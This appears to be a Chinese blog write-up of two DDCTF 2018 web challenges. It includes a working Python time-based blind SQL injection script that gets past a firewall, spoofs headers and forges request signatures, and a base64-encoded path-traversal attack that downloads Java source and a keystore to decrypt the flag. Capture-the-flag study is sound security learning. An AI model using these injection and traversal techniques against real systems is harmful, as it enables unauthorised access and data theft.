2018 DDCTF Web 部分writeup

前言

  滴滴的web题感觉质量还是挺高的,因为每一道题自己做得都比较吃力(菜鸟自白)。。。但更重要的是自己也从每道题中学习到了新知识,这种感觉甚至胜过拿到flag的喜悦…..

数据库的秘密

  打开网站后进行简单的探索,可以发现有一个隐藏的input表单项,还有前端使用了sha1对传递的数据进行签名和加上时间戳。




  当然最大的障碍是防火墙。




  经过一天的不断尝试和搜索后终于得到了POC,利用方式有两点:

  • 1、使用enctype=”multipart/form-data”方式提交表单防火墙不拦截
  • 2、隐藏的author表项不会对’(单引号)进行转义






  为了让python跑起来我们需要了解它的签名过程,通过js调试后我们可以得到它的签名原理。




  所以我们的python脚本就可以这样写:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: utf-8 -*-
import requests
import hashlib
import time

sql = 'admin\' or if(ascii(substr((select secvalue from ctf_key8 limit 0,1),{0},1))={1},sleep(5),0) -- +'

hs = 'id=title=author={0}date=time={1}adrefkfweodfsdpiru'

url = 'http://116.85.43.88:8080/JYDJAYLYIPHCJMOQ/dfe3ia/index.php?sig={}&time={}'
header = {
'X-Forwarded-For' : '123.232.23.245',
}
table = ''
tt = True
for i in range(1, 50):
if tt:
for ch in range(33, 128):
# print('now: ' + str(ch))
if ch == 127:
tt = False
te = str(int(time.time()))
sqli = sql.format(i, str(ch))
data = {
# 这里是为了生成的form-data的参数是name,如果不加因为是files参数,格
#式化的时候就会变成filename,但这并不是我们想要的,自己实际操作一下就知道了。
'id': (None, ''),
'title': (None, ''),
'author': (None, sqli),
'time': (None, te),
}
proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
sig = hashlib.sha1(hs.format(sqli,te)).hexdigest()
t_url = url.format(sig, te)
# print(t_url)
try:
html = requests.post(t_url, files=data, headers=header, timeout=3)
except:
table += chr(ch)
print(table)
break

else:
break

  flag:DDCTF{IKIDLHNZMKFUDEQE}

专属链接

  题目描述:

1
2
3
4
5
6
7
现在,你拿到了滴滴平台为你同学生成的专属登录链接,但是你能进一步拿到专属他的秘密flag么

提示1:虽然原网站跟本次CTF没有关系,原网站是www.xiaojukeji.com

注:题目采用springmvc+mybatis编写,链接至其他域名的链接与本次CTF无关,请不要攻击

http://116.85.48.102:5050/welcom/3fca5965sd7b7s4a71s88c7se658165a791e

  打开链接后发现并没有什么业务,都是些从原网站挪过来的模板,这里也纠结了好一会,经过一番比对后,可以发现用于标签页的favicon.ico有人为涂抹的痕迹。在源代码中打开后发现就直接下载了。




  用winhex打开后,果然发现了信息。




  通过这个信息,我们可以猜测是源码泄露(文件下载)。而因为网站框架是基于java的spring,它相关的源码泄露可以参考:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

  但是发现如果直接拼接WEB-INF/web.xml却没有该地址,后来再回去看看下载favicon.ico的链接,发现最后是base64编码过的。




  所以我们猜测需要后面拼接base64编码的字符,我们把../../WEB-INF/web.xml(注意../)进行编码后拼接访问,发现确实可以造成文件下载。下载后就开始了顺藤摸瓜的操作了。




  我们根据得到的applicationContext.xml的位置,继续下载。然后可以从这个文件中得到mybatis/config.xml的地址。




  关于.xml文件的下载就介绍到这,其余的文件按照同样的操作就能找到,注意的地方就是路径

  接下来就是下载.class文件,从applicationContext.xml中可以发现程序开始运行的接口类(应该可以这样说吧,,,java web不熟)。




  一开始由于没有接触过java web的框架,更不熟悉java的类包管理方法,所以碰了挺久壁的。如果你按../../WEB-INF/classes/InitListener.class下载是不行的,正确的方法是classes后面按照该类的导入方式依次拼接路径,比如这道题的正确路径就是:../../WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class

需要注意一定要找到,而不能下载

  下载的.class文件需要进行反编译成.java文件,这个很多在线网站都能做。

  其余文件按照上面所述的方法都可以找到并下载,完了以后能拿到的文件如下:




  下面就是代码审计的时候了。

  首先需要关注的就是FlagController.java文件,它起到路由的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@RequestMapping({"flag"})   // 定义根路径
public class FlagController
{
@Autowired
private FlagService flagService;

public FlagController() {}

// 接收类似 /flag/getflag/1111路径 用post请求
@RequestMapping(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String getFlag(@PathVariable("email") String email, ModelMap model)
{
Flag flag = flagService.getFlagByEmail(email);
return "Encrypted flag : " + flag.getFlag();
}
@RequestMapping({"/testflag/{flag}"})
public String submitFlag(@PathVariable("flag") String flag, ModelMap model)
{
String[] fs = flag.split("[{}]");
Long longFlag = Long.valueOf(fs[1]);
int i = flagService.exist(flag);
if (i > 0) {
return "pass!!!";
}
return "failed!!!";
}
}

  这里的email是我们进入时系统分配的,在首页的右上角能找到。




  接着我们来拿到我们的加密后的flag




  按照我们的第一感觉你会发现根本不按套路走,我的第一感觉是会不会真是系统错误,但跟客服姐姐交流后发现这是正常的,为了解决这个问题,只能将全部源码审计一边,最终找到了原因。

  在InitListener.java里我们可以看到关于email、flag的定义。下面是截取的部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());

Flag flago = new Flag();
flago.setId(Integer.valueOf(id));
flago.setFlag(byte2hex(data));
flago.setEmail(byte2hex(e)); # 设置email的值
flago.setOriginFlag(flag);
flago.setUuid(uuid);
flago.setOriginEmail(email);

  所以我们可以看到实际的email是经过加密的,而不是表面的。所以写个同样的java代码得到实际的email

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.*;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.Mac;
import java.security.Key;

class test
{
public static void main (String[] args) throws java.lang.Exception
{
System.out.println("hi");
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
String email = "3113936212117314317@didichuxing.com"; // 首页得到的email
byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
System.out.println(e);
String tmp1 = byte2hex(e);
}
}

  我们将得到的值提交。




  现在我们就得到了属于自己的加密后的flag。接下来就是分析flag的加密方法,然后进行相应的解密。下面是相应的加密代码(截取部分):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");

// 这里是得到sdl.ks的绝对路径
String ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());

// 加载密钥文件
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, p.toCharArray());
Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());

// 选择加密算法,这里是 RSA 加密算法
Cipher cipher = Cipher.getInstance(key.getAlgorithm());

// 1:代表加密模式; 2:代表解密模式
cipher.init(1, key);
byte[] data = cipher.doFinal(flag.getBytes());

// 设置flag
flago.setFlag(byte2hex(data));

  分析了flag的加密算法后,我们就来写下解密算法。密钥文件sdl.ks的下载这里就不赘述了。并且这道题是属于:私钥加密,公钥解密的一个类型。

  由于对java的加解密库的函数不了解,也怪自己搜索的关键字不好,,这里卡了好一会。。。终于在某天早上起床后,,脑瓜子灵光一闪,想到了一些关键字,然后在google结果的第二条就找到了解决方法。下面是解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import java.io.*;
import java.security.PublicKey;
import java.security.KeyStore;
import java.security.cert.Certificate;
import javax.crypto.Cipher;

class test
{
public static void main (String[] args) throws java.lang.Exception
{
String ksPath = "e:/WEB-INF_classes_sdl.ks";
String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");

System.out.println(KeyStore.getDefaultType()); // jks
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, p.toCharArray());

Certificate publicCertificate = keyStore.getCertificate("www.didichuxing.com");
PublicKey publicKey = publicCertificate.getPublicKey();

System.out.println(publicKey.getAlgorithm()); // rsa
System.out.println(publicKey.getEncoded());

String miwen = "506920534F89FA62C1125AABE3462F49073AB9F5C2254895534600A9242B8F18D4E420419534118D8CF9C20D07825C4797AF1A169CA83F934EF508F617C300B04242BEEA14AA4BB0F4887494703F6F50E1873708A0FE4C87AC99153DD02EEF7F9906DE120F5895DA7AD134745E032F15D253F1E4DDD6E4BC67CD0CD2314BA32660AB873B3FF067D1F3FF219C21A8B5A67246D9AE5E9437DBDD4E7FAACBA748F58FC059F662D2554AB6377D581F03E4C85BBD8D67AC6626065E2C950B9E7FBE2AEA3071DC0904455375C66A2A3F8FF4691D0C4D76347083A1E596265080FEB30816C522C6BFEA41262240A71CDBA4C02DB4AFD46C7380E2A19B08231397D099FE";

Cipher cipher =Cipher.getInstance("RSA");
cipher.init(2, publicKey);
byte[] result = cipher.doFinal(hex2byte(miwen.getBytes()));
System.out.println(new String(result));
}

public static byte[] hex2byte(byte[] b) {
if ((b.length % 2) != 0)
throw new IllegalArgumentException("长度不是偶数");
byte[] b2 = new byte[b.length / 2];
for (int n = 0; n < b.length; n += 2) {
String item = new String(b, n, 2);
b2[n / 2] = (byte) Integer.parseInt(item, 16);
}
return b2;
}
}

  最后flag:DDCTF{1797193649441981961}

  考虑篇幅的原因,下题writeup重新开篇。

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×